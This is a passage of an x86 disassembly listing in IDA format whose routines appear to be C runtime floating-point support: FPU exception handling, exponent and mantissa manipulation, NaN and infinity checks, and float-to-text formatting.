		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF40
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF50
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF50
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF40
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF40
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB958, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB958, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE68


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF40
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE6C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF68
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF68
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF74
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427888
		fstp	[ebp+var_8]
		fld	dbl_427880
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427710
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 269053Fh
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26B03EEh
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBE8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBE8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43CF90o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9F0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9EC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBE8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9F0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9F0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9F4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9EC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBE8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9F0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
